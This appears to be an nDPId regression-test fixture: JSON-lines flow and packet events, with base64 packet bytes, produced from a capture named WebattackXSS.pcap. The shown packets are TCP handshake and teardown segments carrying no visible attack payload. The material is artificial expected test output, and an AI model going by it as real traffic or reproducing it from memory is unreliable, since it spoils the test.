+00444{"flow_id":348,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4927,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":789292,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82zBAAD4G6p+sEAABwKgKMuRkAFBn0PMDAAAAAKACchD2DAAAAgQFtAQCCAoBOygzAAAAAAEDAwc="} +00444{"flow_id":348,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4928,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":789349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5GT+u1l1Z9DzBKAScSChLQAAAgQFtAQCCAoD5PmoATsoMwEDAwc="} +00433{"flow_id":348,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4929,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347557,"pkt_ts_usec":790133,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02zFAAD4G6qasEAABwKgKMuRkAFBn0PME\/rtZdoAQAOVANQAAAQEICgE7KDMD5Pmo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4936,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":349,"flow_packet_id":1,"flow_first_seen":1499347559043,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58482,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":349,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4936,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347559,"pkt_ts_usec":43260,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8nvhAAD4GJtisEAABwKgKMuRyAFDmPbeUAAAAAKACchCxxwAAAgQFtAQCCAoBOylsAAAAAAEDAwc="} +00444{"flow_id":349,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4937,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347559,"pkt_ts_usec":43351,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5HJJe\/AM5j23laAScSB6VwAAAgQFtAQCCAoD5PriATspbAEDAwc="} +00431{"flow_id":349,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4938,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347559,"pkt_ts_usec":44120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nvlAAD4GJt+sEAABwKgKMuRyAFDmPbeVSXvwDYAQAOUZXgAAAQEICgE7KW0D5Pri"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4945,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":350,"flow_packet_id":1,"flow_first_seen":1499347560327,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58496,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":350,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4945,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":327931,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rRJAAD4GGL6sEAABwKgKMuSAAFBDKIe8AAAAAKACchCDZQAAAgQFtAQCCAoBOyquAAAAAAEDAwc="} +00444{"flow_id":350,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4946,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":327964,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5ICL+5A8QyiHvaAScSBoBAAAAgQFtAQCCAoD5PwjATsqrgEDAwc="} +00433{"flow_id":350,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":328860,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRNAAD4GGMWsEAABwKgKMuSAAFBDKIe9i\/uQPYAQAOUHDAAAAQEICgE7Kq4D5Pwj"} +00432{"flow_id":346,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4951,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":766306,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01H5AAD4G8VmsEAABwKgKMuRIAFCgOPHHsjlnR4ARAOVHZwAAAQEICgE7KxsD5Pcv"} +00433{"flow_id":346,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4952,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":766531,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0m9ZAAEAGKALAqAoyrBAAAQBQ5EiyOWdHoDjxyIARAONCBgAAAQEICgPk\/JEBOysb"} +00432{"flow_id":346,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4953,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347560,"pkt_ts_usec":767094,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01H9AAD4G8VisEAABwKgKMuRIAFCgOPHIsjlnSIAQAOVCAwAAAQEICgE7KxwD5PyR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4957,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":351,"flow_packet_id":1,"flow_first_seen":1499347561622,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":351,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4957,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":622231,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8JPRAAD4GoNysEAABwKgKMuSOAFBq0Q8FAAAAAKACchDTIgAAAgQFtAQCCAoBOyvxAAAAAAEDAwc="} +00445{"flow_id":351,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4958,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":622349,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5I6fc34\/atEPBqAScSC1AgAAAgQFtAQCCAoD5P1nATsr8QEDAwc="} +00433{"flow_id":351,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4959,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":623123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JPVAAD4GoOOsEAABwKgKMuSOAFBq0Q8Gn3N+QIAQAOVUCgAAAQEICgE7K\/ED5P1n"} +00433{"flow_id":347,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4963,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":766862,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09uhAAD4Gzu+sEAABwKgKMuRWAFDF1NASE\/0MqoARAOU6FQAAAQEICgE7LBUD5Phs"} +00434{"flow_id":347,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4964,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":767081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08SFAAEAG0rbAqAoyrBAAAQBQ5FYT\/QyqxdTQE4ARAOM09wAAAQEICgPk\/YsBOywV"} +00433{"flow_id":347,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4965,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347561,"pkt_ts_usec":767835,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09ulAAD4Gzu6sEAABwKgKMuRWAFDF1NATE\/0Mq4AQAOU09AAAAQEICgE7LBYD5P2L"} +00433{"flow_id":348,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4972,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347563,"pkt_ts_usec":766989,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02zJAAD4G6qWsEAABwKgKMuRkAFBn0PME\/rtZdoARAOU6XgAAAQEICgE7LgkD5Pmo"} +00434{"flow_id":348,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4973,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347563,"pkt_ts_usec":767177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pglAAEAGHc\/AqAoyrBAAAQBQ5GT+u1l2Z9DzBYARAOM0iAAAAQEICgPk\/38BOy4J"} +00434{"flow_id":348,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4974,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347563,"pkt_ts_usec":767715,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02zNAAD4G6qSsEAABwKgKMuRkAFBn0PMF\/rtZd4AQAOU0hQAAAQEICgE7LgoD5P9\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4978,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":352,"flow_packet_id":1,"flow_first_seen":1499347564211,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58536,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":352,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4978,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":211903,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87W5AAD4G2GGsEAABwKgKMuSoAFCF1MMXAAAAAKACchABawAAAgQFtAQCCAoBOy55AAAAAAEDAwc="} +00445{"flow_id":352,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4979,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":212030,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5KgQ0EVbhdTDGKAScSCoSwAAAgQFtAQCCAoD5P\/uATsueQEDAwc="} +00433{"flow_id":352,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4980,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":212560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07W9AAD4G2GisEAABwKgKMuSoAFCF1MMYENBFXIAQAOVHUwAAAQEICgE7LnkD5P\/u"} +00432{"flow_id":349,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4984,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":767541,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nvpAAD4GJt6sEAABwKgKMuRyAFDmPbeVSXvwDYARAOUTxgAAAQEICgE7LwQD5Pri"} +00433{"flow_id":349,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4985,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":767727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08HRAAEAG02PAqAoyrBAAAQBQ5HJJe\/AN5j23loARAOMOMAAAAQEICgPlAHkBOy8E"} +00432{"flow_id":349,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4986,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347564,"pkt_ts_usec":768317,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nvtAAD4GJt2sEAABwKgKMuRyAFDmPbeWSXvwDoAQAOUOLgAAAQEICgE7LwQD5QB5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4990,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":353,"flow_packet_id":1,"flow_first_seen":1499347565457,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58550,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":353,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4990,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":457964,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CLtAAD4GvRWsEAABwKgKMuS2AFBcaycLAAAAAKACchDFmwAAAgQFtAQCCAoBOy+wAAAAAAEDAwc="} +00444{"flow_id":353,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4991,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":458144,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5La+IYdMXGsnDKAScSB8AQAAAgQFtAQCCAoD5QEmATsvsAEDAwc="} +00432{"flow_id":353,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4992,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":458876,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CLxAAD4GvRysEAABwKgKMuS2AFBcaycMviGHTYAQAOUbCQAAAQEICgE7L7AD5QEm"} +00434{"flow_id":350,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4996,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":767713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRRAAD4GGMSsEAABwKgKMuSAAFBDKIe9i\/uQPYARAOUBuwAAAQEICgE7L\/4D5Pwj"} +00433{"flow_id":350,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4997,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":767932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0kU5AAEAGMorAqAoyrBAAAQBQ5ICL+5A9QyiHvoARAOP8awAAAQEICgPlAXMBOy\/+"} +00434{"flow_id":350,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4998,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347565,"pkt_ts_usec":768477,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rRVAAD4GGMOsEAABwKgKMuSAAFBDKIe+i\/uQPoAQAOX8aQAAAQEICgE7L\/4D5QFz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5002,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":354,"flow_packet_id":1,"flow_first_seen":1499347566719,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58564,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":354,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5002,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":719570,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bldAAD4GV3msEAABwKgKMuTEAFDBpl67AAAAAKACchAnZgAAAgQFtAQCCAoBOzDsAAAAAAEDAwc="} +00444{"flow_id":354,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5003,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":719693,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5MTiLAwhwaZevKAScSAzsQAAAgQFtAQCCAoD5QJhATsw7AEDAwc="} +00432{"flow_id":354,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5004,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":720308,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0blhAAD4GV4CsEAABwKgKMuTEAFDBpl684iwMIoAQAOXSuAAAAQEICgE7MOwD5QJh"} +00432{"flow_id":351,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5008,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":769309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JPZAAD4GoOKsEAABwKgKMuSOAFBq0Q8Gn3N+QIARAOVPAgAAAQEICgE7MPgD5P1n"} +00433{"flow_id":351,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5009,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":769501,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fC1AAEAGR6vAqAoyrBAAAQBQ5I6fc35AatEPB4ARAONJ\/QAAAQEICgPlAm0BOzD4"} +00432{"flow_id":351,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5010,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347566,"pkt_ts_usec":770032,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JPdAAD4GoOGsEAABwKgKMuSOAFBq0Q8Hn3N+QYAQAOVJ+wAAAQEICgE7MPgD5QJt"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":6,"flow_first_seen":1499347493167,"flow_last_seen":1499347498750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57778,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":309,"flow_packet_id":6,"flow_first_seen":1499347493167,"flow_last_seen":1499347498750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57778,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":6,"flow_first_seen":1499347494446,"flow_last_seen":1499347499749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57792,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":6,"flow_first_seen":1499347494446,"flow_last_seen":1499347499749,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":6,"flow_first_seen":1499347495714,"flow_last_seen":1499347500750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57806,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5011,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":6,"flow_first_seen":1499347495714,"flow_last_seen":1499347500750,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57806,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 